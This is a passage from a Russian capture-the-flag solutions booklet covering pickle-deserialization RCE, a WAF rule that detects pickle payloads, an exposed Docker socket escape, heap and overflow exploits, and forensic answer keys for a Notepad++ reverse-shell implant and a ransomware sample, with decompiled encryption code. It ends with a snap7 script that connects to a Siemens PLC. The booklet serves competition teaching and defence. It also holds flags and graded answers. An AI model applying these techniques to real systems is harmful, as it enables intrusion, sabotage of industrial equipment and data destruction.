Задание представляет собой развернутый сервис OpenMediaVault. Сервис был сконфигурирован таким образом, что для входа в панель достаточно использовать данные учетной записи по умолчанию. Для решения задания участникам необходимо проэксплуатировать уязвимость CVE-2020-26124, которая позволяет аутентифицированному пользователю получить возможность выполнения произвольных команд.

Флаг: nto{4_l177l3_ch33ky_cv3}.

Задание 16. Касса

При покупке билета пользователю выдается файл с сериализованым объектом pickle, в котором описана информация о купленном билете.

Уязвимость заключается в том, что пользователь может сериализовать любой объект python и загрузить его на сервер. После загрузки объект будет диссериализован, что приводит к rce.

Флаг: nto{w3lc0m3_t0_t4e_tr41n!!!}.

Задание 17. Касса WAF

Правило, которое закрывает уязвимость.

SecRule REQUEST_BODY "@rx \x80\x04\x95.*?(posix|os|subprocess|system|eval|exec|base64|urllib)" \
 "id:2001,\
 phase:2,\
 t:none,\
 deny,\
 status:403,\
 log,\
 msg:'Detected potential Python Pickle RCE attempt'"

Решение — запуск сплоита (редактируем адрес приложения):

python3 solve/sploit.py

Задание 18. Менеджер паролей 1

Портативный парольный менеджер с графическим интерфейсом на языке Go: NekoPASS.

Приложение имеет собственный формат хранилища, включающий в себя зашифрованный блок данных, базирующийся на одном из криптографических алгоритмов: AES128-ECB или на встроенном криптографически слабом алгоритме — nekocrypt.

Криптографический алгоритм состоит из многоуровневого гаммирования и подвержен атаки с использованием известного фрагмента открытого текста. Восстановление промежуточного ключа возможно 1 к 1 при наличии соответствующего байта исходного текста.

К менеджеру паролей прилагается файл хранилища, использующий nekocrypt. Участникам необходимо разобраться с форматом файла хранилища и произвести его взлом для получения новых авторизационных данных или флага.

При шифровании исходная база выравнивается в формате PCKS7, а сам шифр подвержен атаке известного исходного текста.

Один байт исходного текста позволяет гарантированно получить соответствующий байт ключа.

Таким образом, для максимального упрощения взлома криптографии можно подготовить такой набор исходных данных, длина которого в исходном виде будет давать 0 по модулю длины блока (16 байтов).

Имеем графический парольный менеджер на языке Go и база с сохраненным в нее флагом.

Первым делом всегда нужно протестировать объект исследования: в приложении находим выпадающее меню с возможностью создания/загрузки парольной базы. Оба варианта требуют от нас ввода мастер-пароля, а при создании базы имеется возможность выбрать используемый шифр.

Далее попробуем открыть парольную базу в хекс-редакторе.

Рис. 7.11.

Выглядит не слишком информативно, а нестандартные магические байты в заголовке указывают на самописную природу структуры.

Можно попробовать создать несколько баз с видоизмененными параметрами и содержимым для дальнейшего сравнения.

Рис. 7.12.

Так, при создании двух идентичных баз с различными выбранными шифрами мы находим единственный отличающийся байт.

Уже сейчас мы можем сделать предположение, что байт по смещению 0x0A хранит указывает на используемый криптографический алгоритм:

* 0x62 — AES128;

* 0x61 — nekocrypt.

Таким же способом предполагаем, что по смещению 0x0B:0x2A находится 32-байтный хэш пароля, а за ним — количество блоков и непосредственно зашифрованное содержимое.

Все эти предположения возможно сделать без непосредственного реверс-инжиниринга исполняемого файла, опираясь на характер изменений содержимого базы.

Полученные знания позволяют сделать вывод, что база с флагом зашифрована с помощью nekocrypt, а значит, сразу понятно, что искать.

Рис. 7.13.

В IDA Pro 9 есть встроенный модуль, парсящий символьную информацию. Возможно, ghidra тоже так умеет, а для более старшей версий иды есть alphagolang-скрипты.

Рис. 7.14.

Не стоит слишком верить чистому выводу декомпилятора, без вашей помощи в типизации и исправления calling convention вывод может быть некорректным, поэтому следует почаще смотреть ассемблерный листинг для уточнения передаваемых аргументов в функции.

Рис. 7.15.

Теперь листинг имеет смысл.

Разобрав функцию blockEnc, должно получиться что-то вроде нижеследующего кода (на Go).

go
const blockSize = 16
const rounds = 25
var (
    pbox = [256]uint8{162, 224, 202, ... 187, 204, 10}
    mask = [blockSize]uint8{123, 171, 173, ... 129, 211, 118}
)
func rol8(x uint8, r uint8) uint8 {
    return (x << (r % 8)) | (x >> (8 - (r % 8)))
}
func applyMask(block []byte) {
    for i, b := range mask {
        block[i] ^= b
    }
}
func unrot(block []byte) {
    for i := range blockSize {
        block[i] = rol8(block[i], 5)
    }
}
func blockEnc(block []byte, key [16]byte) {
    defer applyMask(block)
    pkey := make([]byte, len(key))
    copy(pkey, key[:])
    for range rounds {
        for i := range blockSize {
            block[i] ^= pkey[i]
            block[i] = rol8(block[i], 3)
            pkey[i] = pbox[pkey[i]]
        }
    }
}

Видно, что каждый байт блока шифруется независимо друг от друга. Значит, на каждый байт шифротекста зависит только от соответствующего байта ключа и исходного сообщения, при этом ключ (кастомный хэш от мастер пароля) используется один для всех блоков.

Значит, можно восстановить ключ, имея известные куски исходного сообщения.

Интеднет решение опирается на перебор паддинга, см. солвер.

Флаг: nto{n3koo_100_s3curity_0}.

Задание 19. Менеджер паролей 2

Разработчики продолжили совершенствовать криптографию, используемую в NekoPASS, и разработали прототип нового шифра. Блочный шифр подвержен сдвиговой атаке и может быть взломан в пределах разумного времени.

Из описания становится ясно, что шифр подвержен сдвиговой атаке.

Подробно почитать про сдвиговую атаку можно тут: https://disk.yandex.ru/d/p_1p_nK3Wtm2_A/A_Tutorial_on_Slide_Attacks.pdf.

Далее будем исходить из того, что читатель знаком с данной атакой.

Для начала взглянем на функцию шифрования блока.

Python
def block_enc(d: bytearray, k: bytearray) -> None:
    for _ in range(ROUNDS):
        for i in range(0, BLOCKSIZE, CHUNKSIZE):
            d0, d1, d2, d3 = d[i:i+CHUNKSIZE]
            
            t0 = d2^d1
            t1 = d0^d1^d2
            t2 = d2^d3
            t3 = d0^d1
            d[i+0] = rol(sbox[t3 ^ k[i+2]], 3, 8) ^ k[i+2]
            d[i+1] = rol(sbox[t2 ^ k[i+0]], 5, 8) ^ k[i+0]
            d[i+2] = rol(sbox[t0 ^ k[i+3]], 3, 8) ^ k[i+3]
            d[i+3] = rol(sbox[t1 ^ k[i+1]], 5, 8) ^ k[i+1]
            
            kc = k[i:i+CHUNKSIZE]
            for ki in range(4):
                kj = rand() & 3
                k[i+ki] = kc[kj]
    return d

Можно заметить, что блок разбивается на чанки по 4 байта, каждый из которых шифруется независимо. Это значит, что фактический размер блока равен размеру чанка. Это ограничивает количество итераций для полного брута ключа до \(2^{32}\times 4\) итераций, однако из-за количества раундов взлом за разумное время (в рамках соревнования) невозможен.

Ключевым для успешного применения сдвиговой атаки является повторяющееся состояние раундового ключа. Чем меньше раундов необходимо для получения исходного ключа, тем лучше. В нашем случае перестановка байтов в конце каждого раунда зависит от значения самописной функции rand.

>>> def rand():
...     global seed
...     seed = (seed * 0xE4A445 - 0xA1B49DB9) & 0xffffffff
...     return seed
...
>>> seed = 0xdead133c
>>> [rand() & 3 for _ in range(16)]
[3, 2, 1, 0, 3, 2, 1, 0, 3, 2, 1, 0, 3, 2, 1, 0]

Функция выдает абсолютно неслучайные зацикленные значения. С учетом особенности использования данного генератора можно сделать следующий вывод: раундовый ключ возвращается к исходному состоянию за два раунда.

Можно выделить сдвиговую функцию, представляющую собой два раунда шифрования блока.

Важно не забыть оценить сложность восстановления раундового ключа из сдвиговой функции: при расписывании распространения ключа за два раунда шифрования замечаем неоднородность, позволяющую упростить перебор ключа до \(2^{18}\) и выполнить взлом за разумное время.

Ищем сдвиговые блоки в наборе данного plain/cipher текста и восстанавливаем полный ключ.

Флаг: nto{40857d1647f9a3a06bab1e0c7d8ba069}.

Задание 20. Контейнер

По ссылке http://<ip-адрес-вм> участники попадают на дефолтную страницу nginx. При сканировании nmap <ip-адрес-вм>, вероятнее всего, увидят только 22-й порт открытым. Чтобы увидеть порт докера, надо сканировать nmap -p 2000-3000 <ip-адрес-вм>. Теперь видно открытый docker-сокет.

С помощью команды docker -H <ip-адрес-вм>:2375 ps участники увидят запущенные на хосте контейнеры, а с помощью команды docker -H <ip- адрес-вм>:2375 exec -it <id-контейнера> bash — попадут внутрь внутрь контейнера.

Если посмотреть и поискать в папке, то в корне обнаружится hostdir. Если в нее зайти, там будет находиться корень хоста.

Дальше необходимо попасть в папку /home/user, чтобы найти флаг.

Флаг: nto{Ne_Zabyavay_Zakryavat_Socket_2375}.

Задание 21. Кадры

Сервис управления кадровыми ресурсами на языке C.

Реализация use-after-free позволяет получить arbitrary-write- и arbitrary-read-примитивы. Заложенный вектор предполагает получение участниками RCE и чтение флага из файловой системы.

Сервис запускается в docker-контейнере.

Функции преобразовании ID сотрудника имеется очевидный недостаток, позволяющий обращаться по разным ID к одному и тому же сотруднику. Повторное добавление задачи сотруднику приводит к обнулению busy флага, что позволяет произвести освобождение чанка без удаления указателя.

Читаем освобожденного сотрудника и кликаем адрес кучи из структуры освобожденного чанка в unsorted bins.

Далее реализуем double free и получаем arbitrary read через переписывание указателя в структуре сотрудника. Чтение environ позволяет получить адрес стека, теперь остается только переписать адрес возврата.

Переписываем указатели в структуре tcache_entry либсишной кучи и получаем возможность выделения чанка по произвольному адресу. Выделяем чанка на адрес возврата и переписываем его.

Флаг: nto{th1s_1s_f1n3.}.

Задание 22. Временные сообщения

Сервис для работы с временными сообщениями. Переполнение буфера с сообщением на один байт позволяет затереть пароль символом нуль терминатора, из-за чего получаем доступ к защищенному файлу.

Сервис запускается в docker-контейнере.

Подготовка исходных данных для участников

Участникам необходимо выдать содержимое директории public, а также данные для удаленного подключения к сервису.

Деплой: docker compose up -d из директории deploy.

Решение

При исследовании бинаря можно обнаружить обработчик для защищенного файла с ID 00000000 в функции read_file.

Рис. 7.16.

secret_password иниицализируется на момент запуска программы и нет возможности его получить.

Рис. 7.17.

Обращаем внимание на то, что при записи данных в глобальный буфер file_buffer используется форматная строка %256s, предполагающая запись 256 информационных символов в буфер, с дополнительным 257-м нуль терминатором.

Рис. 7.18.

Так как буфер файла и буфер пароля идут сразу друг за другом, при полной записи в первый символ нуль терминатора сбросит пароль для чтения секретного файла.

Флаг: nto{sup3r_s3cr3t_c0nf1d3ntial_fl4g}.

Задание 23. Враг врага 1

Windows

Описание

Образ диска Windows 11 x86_64. На машине проэксплуатирован Revese shell через Notepad++, после чего запущен сервис-бэкдор.

Участникам необходимо определить, каким образом злоумышленник попал на систему, найти и описать работу вредоносного ПО, определить IP-адрес злоумышленника, найти вредоносный сервис и описать принцип его работы.

Машина c развернутой задачей: WinForensicsVM (https://disk.yandex.ru/d/p_1p_nK3Wtm2_A/2/Windows/).

Вопросы для участников:

  1. Как приложение попало на хост? (2 балла)

    Ответ: через ссылку в почте на хост 91.149.202.121:8125.

  2. Какое именно приложение является вредоносным? (3 балла)

    Ответ: Notepad++.

  3. Каким образом данное приложение воздействует на систему? (5 баллов)

    Ответ: создает отдельный поток и выделяет в нем RWX-область памяти, в который выгружается бинарный код.

    Указано про использование отдельного потока. (3 балла)

    Указано о создании RWX-области не в контексте созданного потока. (1 балл)

    Указано о создании RWX-области в созданном потоке. (1 балл)

  4. Какие механизмы защиты от детектирования применены во вредоносном приложении? (10 баллов)

    Ответ: шеллкод зашифрован симметричным шифром Lucifer с блоком 128bit.

    Указано, что зашифрован. (1 балл)

    Указано, что использовался симметричный шифр. (2 балла)

    Указано, что блок 128 бит. (2 балла)

    Указано, что использовался Lucifer. (5 баллов)

  5. Какой ключ нужен для дешифрования вредоносной нагрузки? (10 баллов)

    Ответ: notepadplusplus.

  6. Какие негативные действия были выполнены в ходе работы вредоносного приложения? (5 баллов)

    Ответ: открыт реверс шелл и скачан файл .startup.ps1 в папку автозагрузки.

    Указано, что программа открывает реверс шелл. (2 балла)

    Указано, что в процессе работы был скачан файл .startup.ps1. (3 балла)

  7. С каким именно хостом соединяется вредоносное приложение? (3 балла)

    Ответ: 103.137.250.153.

  8. Какие именно файлы подвержены воздействию вредоносного приложения? (2 балла)

    Ответ: Passwords.xslx.

    Общая сумма за вопросы Windows части — 40 баллов.

Решение

Для ответа на вопросы №№ 1, 2 откроем thunderbird и найдем в нем сообщение от admin@mai1service.pma.ru c требованием обновить ПО и гиперссылкой на адрес 91.149.202.121:8125. SFX-архив с сервера содержит в себе Notepad++.

Затем запустим notepad++.exe и при помощи ProcMon найдем, что Notepad++ запускает необычный дочерний процесс.

Переходим на создание дочернего процесса (5184).

Рис. 7.19.

В дебагере устанавливаем точки останова на вызов ProcessCreate в kernel32.dll.

Рис. 7.20.

Точка останова срабатывает в потоке со следующим стеком вызовов.

Рис. 7.21.

Адрес до вызова CreateProcessA находится вне области определения Notepad++, но вызывается из нее. Ищем вызовы выделения памяти.

Рис. 7.22.

Открываем в декомпиляторе функцию с вызовом VirtualAlloc.

C
do {
    some_crypt(puVar4);
    puVar4 = puVar4 + 4;
    lVar12 = lVar12 + -1;
} while (lVar12 != 0);

local_1f8[0] = 0;
puVar12 = (undefined4 *)VirtualAlloc((LPVOID)0x0, 0x1ccc, 0x3000, 4);
##########################################################
BVar10 = VirtualProtect(puVar12, 0x1cc, 0x20, local_1f8);
if (BVar10 != 0) {
    hHandle = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0,
                          (LPTHREAD_START_ROUTINE)puVar12,
                          (LPVOID)0x0, 0, (LPDWORD)0x0);
    WaitForSingleObject(hHandle, 2);
}

FUN_14041eab0(local_18 ^ (ulonglong)auStackY552);
return;

Получаем ответ на вопрос № 3. Далее переходим в some_crypt и при помощи интернета, либо криптоанализа получаем ответы на вопросы №№ 3, 4. Дешифровав шеллкод, выясняем, что он открывает реверс шелл и, поискав в системе новые файлы, видим, что злоумышленник добавил в автозагрузку .startup.ps1. Получив ответ на вопрос № 6, деобфусцируем скрипт и получаем примерно следующий код.

Рис. 7.23.

Тем самым получаем ответ на вопрос № 7.

Задание 24. Враг врага 2

Linux

Описание

Участникам дан дамп диска Ubuntu 22.04 x86_64 и дамп трафика.

Машина c развернутой задачей: LinuxForensicsVM https://disk.yandex.ru/d/p_1p_nK3Wtm2_A/2/Linux/.

Вопросы

  1. Как был получен первичный доступ к системе? (2 балла)

    Ответ: проэксплуатирован дебаг режим Flask сервиса (Werkzeug дебаггер).

  2. С каких IP-адресов поступала полезная нагрузка? (2 балла)

    Ответ: 10.10.10.12, 81.177.221.242.

  3. Какие механизмы защиты от детектирования применены во вредоносном приложении? (4/8 баллов)

    Ответ: UPX с измененными хедерами, проверка на использование ptrace сисколла.

    Указано использование UPX. (4 балла)

    Указано про ptrace. (4 балла)

  4. В какое время было начато исполнение вредоносной нагрузки? (13 баллов)

    Ответ: среда, 22 января 2025 г., 22:35:52, либо среда, 22 января 2025 г., 19:35:52.

  5. Какая строчка была использована в качестве SECRET-поля для Flask сервиса? (20 баллов)

    Ответ: 5SDWf1cIHlwfaUOhA9tE.

  6. Опишите принцип работы и тип вредоносной нагрузки. (20 баллов)

    Ответ: тип вредоносной нагрузки — шифровальщик.

Решение

В начале исполнения берется текущее время на системе, и на основе него происходит генерация псевдослучайных чисел.

Затем программа записывает в файл по пути /tmp/hint 256 4-байтовых чисел в виде байт для возможного восстановления seed-значения.

Программа рекурсивно шифрует файлы, начиная с директории, в которой она находится. К каждому файлу в начало добавляется следующая hex сигнатура: 0xc0febabedeadbeef.

Для каждых 8 байт исходного файла, для каждых 2-х байт в котором берется crc16 ^ квадрат изначального значения ^ rand(), далее ксор с seed значением и перемешивание.

  • Указано, что генерация происходит от текущего времени. (2 балла)
  • Указано про /tmp/hint. (2 балла)
  • Указано про рекурсивный перебор файлов в папках. (4 балла)
  • Указано про сигнатуру. (2 балла)
  • Указано, что шифруются каждые 8 байт исходного файла. (4 балла)
  • Указан подробный алгоритм шифрования. (6 баллов)

Для ответа на вопросы №№ 1, 2 получаем из дампа трафика, профильтровав пакеты на http-запросы с адресом сервера 10.10.10.3:5000.

Затем из трафика достаем исполняемый файл app и файл hint. Посмотрев на строчки из исполняемого приложения, узнаем, что приложение запаковано upx с измененными хедерами. Восстановив хедеры, распаковываем его при помощи upx -d ./app команды.

Во время реверс-ижиниринга выясняется, что приложение статически слинковано. При помощи strace либо bindiff с нужной версией libc, переименовываем соответствующие функции в приложении. Изучив работу приложения, выясняем, что это шифровальщик, в качестве защиты основная нагрузка запускается дочерним процессом, в то время как основной при помощи ptrace изменяет syscall с номером 0x2710 на вывод строки, что является методом противодействия отладки, соответственно получаем полный ответ на вопрос № 3. Также выясняется, что ключом является время вызова при этом в файле hint находится 256 псевдослучайных 4-байтных чисел подряд.

C
undefined8 uVar1;
int iVar2;
undefined4 local_c;

iVar2 = 256;
FUN_0043b140(0.0, 0.0, 0.0);
FUN_00408dd0(0x12);

seed = time(0);
srand(seed ^ 0xffffffff);

uVar1 = fopen("/tmp/hint", "w");
if (uVar1 != NULL) {
    local_c = rand();
    fwrite(&local_c, 4, 1, uVar1);
    iVar2 = iVar2 - 1;
    while (iVar2 != 0) {
        // Дополнительные действия могут быть здесь
    }
    fclose(uVar1);
}
Recursive_file_list((DAT_0047B034));
return;

Данного количества более чем достаточно для получения значения seed и получив его переводим любым способом в дату и получаем ответ на вопрос № 4. Шифрование выглядит следующим образом (на C).

C
void encrypt(char *filepath) {
    FILE *fdi = fopen(filepath, "r");
    if (fdi == NULL) {
        print_custom("failed\n");
        return;
    }

    long data;
    fread(&data, 8, 1, fdi);
    if (data == sign) {
        print_custom("already encd\n");
        return;
    }

    fseek(fdi, 0, SEEK_SET);
    char *fp = calloc(1, 1024);
    strcpy(fp, filepath);
    strcat(fp, ".enc");
    FILE *fdo = fopen(fp, "w");
    if (fdo == NULL) {
        print_custom("failed\n");
        return;
    }

    fwrite(&sign, 8, 1, fdo);
    data = 0;

    while (!feof(fdi)) {
        fread(&data, 8, 1, fdi);
        unsigned short *dp = (unsigned short *)&data;
        for (int i = 0; i < 4; i++) {
            short int j = ((dp[i] * 2) & 0xFFFF);
            dp[i] = crc16(&dp[i], 2, rand() & 0xFFFF);
            dp[i] ^= (rand() & 0xFFFF);
        }
        data ^= timing;
        shuffle(dp, 4);
        fwrite(&data, 8, 1, fdo);
        data = 0;
    }

    fclose(fdo);
    fclose(fdi);
    remove(filepath);
    print_custom("ok\n");
}

Написав дешифровальщик на любом ЯП, получаем ответы на вопросы №№ 5, 6, так как для написания дешифровальщика нужно полное понимание работы программы.

Общая сумма за вопросы Linux части 65 баллов.

Задание 25. Таежный профиль 1

Решение предлагается рассмотреть в https://colab.research.google.com/?hl=ru.

Ссылка на решение: https://disk.yandex.ru/d/ni4fKf-0mhvA7Q.

Считываем данные трафика.

Python
COVERT_FILES = [
    "4_1.pcapng",
]
COVERT_FILE_READ_LIMIT=2000
COVERT_MAX_LIMIT=-1
TEST_SIZE=0.2

covert_train, covert_test = utils.read_data(
    COVERT_FILES,
    file_count=COVERT_FILE_READ_LIMIT,
    covert=1,
    test_size=TEST_SIZE
)
covert = pd.concat([covert_train, covert_test], ignore_index=True)

"""# Сортируем по времени и считаем задержки"""

df_sorted_covert = covert.sort_values(by='time', ascending=True)
df_sorted_covert['delay'] = df_sorted_covert['time'].shift(-1) - df_sorted_covert['time']
df_sorted_covert.loc[df_sorted_covert['delay'] > 3] = np.nan

data_covert = df_sorted_covert[['time', 'delay']]
data_covert = data_covert.dropna()

data_covert

"""# Смотрим на распределение задержек"""

import matplotlib.pyplot as plt

# Пример массива задержек (замените на ваши данные)
delays = data_covert['delay']

# Построение гистограммы
plt.figure(figsize=(10, 6))
plt.hist(delays, bins=20, color='blue', edgecolor='black')
plt.title("Распределение задержек")
plt.xlabel("Задержка (секунды)")
plt.ylabel("Частота")
plt.grid(True)
plt.show()

Рис. 7.24.

Python
# Отбросим шумы создаваемые из-за nfq (когда две единицы подряд отправляются)
delays_for_clustering = data_covert[data_covert['delay'] > 0.8]['delay']
# Построение гистограммы
plt.figure(figsize=(10, 6))
plt.hist(delays_for_clustering, bins=20, color='blue', edgecolor='black')
plt.title("Распределение задержек")
plt.xlabel("Задержка (секунды)")
plt.ylabel("Частота")
plt.grid(True)
plt.show()

Рис. 7.25.

Python
"""# Кластеризуем данные по задержкам (на два кластера, на схеме указано, что кодируются 0 и 1)"""

from sklearn.cluster import KMeans
import numpy as np

# Преобразование задержек в массив numpy
delays_array = np.array(delays_for_clustering).reshape(-1, 1)

# Применение KMeans с двумя кластерами
kmeans = KMeans(n_clusters=2, random_state=42).fit(delays_array)
labels = kmeans.labels_  # Метки кластеров (0 или 1)
centers = kmeans.cluster_centers_  # Центры кластеров

print("Границы кластеров:", centers.flatten())

# # Визуализация результатов
# plt.figure(figsize=(10, 6))
# plt.scatter(range(len(delays_for_clustering)), delays_for_clustering, c=labels, cmap='viridis', label='Кластеры')
# plt.axhline(y=np.min(centers), color='red', linestyle='--', label='Граница: минимум')
# plt.axhline(y=np.max(centers), color='green', linestyle='--', label='Граница: максимум')
# plt.title("Кластеры задержек")
# plt.xlabel("Индекс")
# plt.ylabel("Задержка (секунды)")
# plt.legend()
# plt.grid(True)
# plt.show()

"""# Определяем границу для декодирования 0 и 1 (основываясь на центроидах кластеров)"""

boundary = np.mean(centers).item()  # .item() преобразует массив в число

# Добавление столбца 'value'
data_covert['value'] = (data_covert['delay'] >= boundary).astype(int)

values_array = (data_covert['delay'] >= boundary).astype(int).to_numpy()
values_array

str_ = ''
for i in values_array:
    str_ = str_ + str(i)

print(str_)

"""# Декодируем полученное сообщение"""

def reverse_bits(byte):
    """Разворачивает порядок битов в байте."""
    return byte[::-1]

def bits_to_ascii(bits_list):
    ascii_chars = [chr(int(bits, 2)) for bits in bits_list]
    return ''.join(ascii_chars)

chunks = [str_[i:i+12] for i in range(0, len(str_), 12)]

processed_chunks = ["".join([chunk[j] for j in range(len(chunk)) if (j + 1) % 3 != 0]) for chunk in chunks]
#print(processed_chunks)
joined_bits = "".join(processed_chunks)
bytes_list = [reverse_bits(joined_bits[i:i+8]) for i in range(0, len(joined_bits), 8)][:]

decoded_text = bits_to_ascii(bytes_list)
print(f"Decoded ASCII text: {decoded_text}")

Флаг: nto{C0v_t_chA5nel}.

Задание 26. Таежный профиль 2

Решение предлагается рассмотреть в https://colab.research.google.com/?hl=ru.

Ссылка на решение: https://disk.yandex.ru/d/p0igXqDwNnyL2g.

Считываем информацию о задержках между пакетами (обращаем внимание, что в трафике два одинаковых сообщения от отправителя подряд и потом два сообщения с MAC). Избавляемся от всех дублирований.

Python
from scapy.all import *
from scapy.layers.can import CAN  # Используем общий CAN-слой
import pandas as pd

# Для старых версий Scapy добавляем ручное описание CAN FD
packets = rdpcap('covert_canfd_300_dealy.pcapng')
data = []
for i, pkt in enumerate(packets):
    try:
        current_time = float(pkt.time)
        data.append({
            'frame': i+1,
            'timestamp': current_time,
        })

    except Exception as e:
        print(f"Error in packet {i+1}: {e}")

df_all = pd.DataFrame(data)
pd.set_option('display.float_format', '{:.9f}'.format)
# Конвертация времени с учётом наносекунд
df_all['timestamp'] = pd.to_datetime(df_all['timestamp'], unit='s', origin='unix')
print(df_all[['frame', 'timestamp']].head())

#packets = rdpcap('covert_canfd_obfuscated_flag.pcapng')
packets = rdpcap('covert_canfd_300_dealy.pcapng')

data = []
prev_time = None
counter = 0  # Счётчик для пар пакетов

for i in range(0, len(packets), 4):
    try:
        # Берём текущий и следующий пакеты
        pkt1 = packets[i]
        if i+2 >= len(packets):
            break
        pkt2 = packets[i+2]

        # Извлекаем временные метки
        time1 = float(pkt1.time)
        time2 = float(pkt2.time)

        # Вычисляем задержку между парой
        delta = time2 - time1

        # Извлекаем данные CAN
        can_data = None
        if CAN in pkt2:
            can = pkt2[CAN]
            can_data = bytes(can.data).hex() if can.data else None

        data.append({
            'pair_num': counter + 1,
            'start_frame': i+1,
            'end_frame': i+3,
            'delta': delta,
            'data': can_data
        })

        counter += 1

    except Exception as e:
        print(f"Error in packets {i+1}-{i+2}: {e}")

df = pd.DataFrame(data)
pd.set_option('display.float_format', '{:.9f}'.format)

print(df[['pair_num', 'start_frame', 'end_frame', 'delta', 'data']].head())

"""Смотрим на график распределения задержек - видим скачки. Похоже на внедрения шума"""

delays = df['delta']
plt.plot(delays.values)

above_threshold = np.where(delays > 0.03)[0]

Рис. 7.26.

Python
# Если нет превышений, выходим
if len(above_threshold) == 0:
    print("Нет значений > 0.03")
    exit()

# 2. Найти первый индекс падения ниже 0.03 ПОСЛЕ превышения
first_index = above_threshold[0]  # Первое превышение
below_after_above = 199
above_after_below = 378

first_index, below_after_above, above_after_below

"""Смотрим на распределение задержек, понимаем, что скорее всего будет 4 кластера (то есть каждый тип задержки кодирует свою цифру)"""

import matplotlib.pyplot as plt

delays = pd.concat([
    df.iloc[1:23],    # Строки с позиции 1 до 24 (включительно)
    df.iloc[300:300]  # Строки с позиции 176 до 350 (включительно)
])['delta']

# Построение гистограммы
plt.figure(figsize=(10, 6))
plt.hist(delays, bins=20, color='blue', edgecolor='black')
plt.title("Распределение задержек")
plt.xlabel("Задержка (секунды)")
plt.ylabel("Частота")
plt.grid(True)
plt.show()

Рис. 7.27.

Python
"""# Метод "Локтя" (Elbow Method)
Для определения количества разных задержек, в которые вкладывается сообщение воспользуемся методом поиска оптимального количества кластеров

С увеличением числа кластеров сумма внутрикластерных расстояний (inertia) уменьшается. Оптимальное число кластеров выбирается в точке, где уменьшение inertia замедляется ("локоть" на графике).
"""

from sklearn.cluster import KMeans
import numpy as np

X = np.array(delays).reshape(-1, 1)

from sklearn.cluster import KMeans
import matplotlib.pyplot as plt

inertias = []
for k in range(1, 11):
    kmeans = KMeans(n_clusters=k, random_state=42)
    kmeans.fit(X)
    inertias.append(kmeans.inertia_)

plt.plot(range(1, 11), inertias, marker='o')
plt.xlabel('Number of clusters (k)')
plt.ylabel('Inertia')
plt.title('Elbow Method')
plt.show()

Рис. 7.28.

Python
"""По графику оптимальное число кластеров 4. Кластеризуем данные с этим параметром и посмотреть на среднее межкластерное расстояние между кластерами"""

kmeans = KMeans(n_clusters=4).fit(X)
centers = sorted(kmeans.cluster_centers_.flatten())
d_0 = centers[1] - centers[0]  # Предполагаем, что первый кластер — 0, второй — d
d_1 = centers[2] - centers[1]
d_2 = centers[3] - centers[2]
d = (d_0 + d_1 + d_2)/3

"""Выделим из трафика закодированное сообщение"""

deltas = df['delta'].tolist()
quantized = [round(delta / d) for delta in deltas]
quantized

"""Провели анализ пакетов и увидели, что с 93 по 96 аномалия (там 4 подряд сообщения приложения), одно из них - шум, внедряемый злоумышленником. Необходимо вырезать два лишних пакета и посчитать задежки без него, аналогично в интервале 796 и 1512. Надо убрать из анализа 95, 96, 801, 802, 1513, 1514 пакеты"""

# Удаляем указанные пакеты (номера фреймов)
packets_to_remove = [95, 96, 801, 802, 1513, 1514]
filtered_df = df_all[~df_all['frame'].isin(packets_to_remove)].copy()

# Пересчитываем временные задержки
filtered_df['delta'] = filtered_df['timestamp'].diff().dt.total_seconds().fillna(0)
filtered_df

import pandas as pd

# Создаем список для хранения результатов
data = []
counter = 0

# Проходим по DataFrame с шагом 4 строки
for i in range(0, len(filtered_df), 4):
    try:
        # Проверяем границы DataFrame
        if i+2 >= len(filtered_df):
            break

        # Получаем записи из DataFrame
        row1 = filtered_df.iloc[i]
        row2 = filtered_df.iloc[i+2]

        # Вычисляем задержку между записями
        delta = row2['timestamp'] - row1['timestamp']

        # Формируем запись
        data.append({
            'pair_num': counter + 1,
            'delta': delta.total_seconds(),  # Конвертация в секунды
        })

        counter += 1

    except Exception as e:
        print(f"Error processing rows {i}-{i+2}: {e}")

# Создаем новый DataFrame
result_df = pd.DataFrame(data)

# Форматирование вывода
pd.set_option('display.float_format', '{:.9f}'.format)
print(result_df.head())

"""Получаем красивый график без шума"""

delays = result_df['delta']
plt.plot(delays.values)

Рис. 7.29.

Python
#Восстанавливаем последовательность закодированных цифр счетчика из задержек без шума

deltas = result_df['delta'].tolist()
quantized = [round(delta / d) for delta in deltas]
result_str = ''.join(str(int(num)) for num in quantized)

for i in range(0, len(result_str), 26):
    print(result_str[i:i+26])
#30233012021310130012302332

Получили флаг nto{3023301202131013001230233212011230203132312230120110}.

Задание 27. Поезд

Для решения задачи нужно определиться с ее целью — точечно подменить данные.

На представленном макете демонстрируется поезд с цифровым табло. Далее определяем, является это базой данных или промышленным оборудованием.

  1. Производим разведку после того, как определили доступные ip-адреса и сети с помощью утилиты snmp-check или nmap.

    Snmp-check+ — инструмент с открытым исходным кодом, который позволяет собирать информацию с удаленных устройств, поддерживающих протокол SNMP.

    Nmap (Network Mapper) — свободная утилита для сканирования IP-сетей с любым количеством объектов, определения состояния объектов сканируемой сети производим разведку в консоли linux вводим:

    nmap -sV 10.10.14.2 или snmp-check 10.10.14.2,

    где 10.10.14.2 — это ip-адрес предполагаемой цели.

    Далее ищем полезную информацию:

    port 102
    Siemens, SIMATIC S7, CPU-1200, 6ES7 214-1BG40-0XB0, HW: 10, FW: V.4.3.1
  2. Анализируем:

    SIMATIC S7-1200 — семейство программируемых контроллеров компании «Сименс»; протоколы, которые поддерживает: TCP/IP,ISO на TCP,S7 функции связи, MODBUS TCP; доступен 102 порт, а в программируемых логических контроллерах (ПЛК) Siemens, в том числе S7-1200 он используется для связи по средствам протокола S7.

  3. Выбираем пути воздействия и подключения к ПЛК.

    Пробуем воспользоваться библиотекой Snap7.

    Snap7 — мультиплатформенная коммуникационная библиотека с открытым исходным кодом для связи по Ethernet с ПЛК SIEMENS S7 (S7-300/S7-400).

    Также библиотека частично поддерживает работу с S7-1200, S7-1500, S7-200, SIEMENS LOGO! (0BA7/0BA8) и SINAMICS Drives.

    Устанавливаем командой в терминале:

    sudo pip install python-snap7 --break-system-packages
  4. Python скрипт: создаем файл с расширением .py открываем его и пишем скрипт на подключение.

    Python
    import snap7
    from snap7.util import get_bool, get_int, get_real
    # Создаем клиент и подключаемся к PLC
    client = snap7.client.Client()
    client.connect("10.10.14.2", 0, 1)
    if client.get_connected():
        print("Подключение к PLC успешно установлено.")
    else:
        print("Не удалось подключиться к PLC.")
        exit()
    client.disconnect()

    Если подключение удалось, то остается определить метод воздействия: если нет, значит, выбран неправильный протокол или неправильная библиотека.

  5. Анализируем, как можно воздействовать на ПЛК.

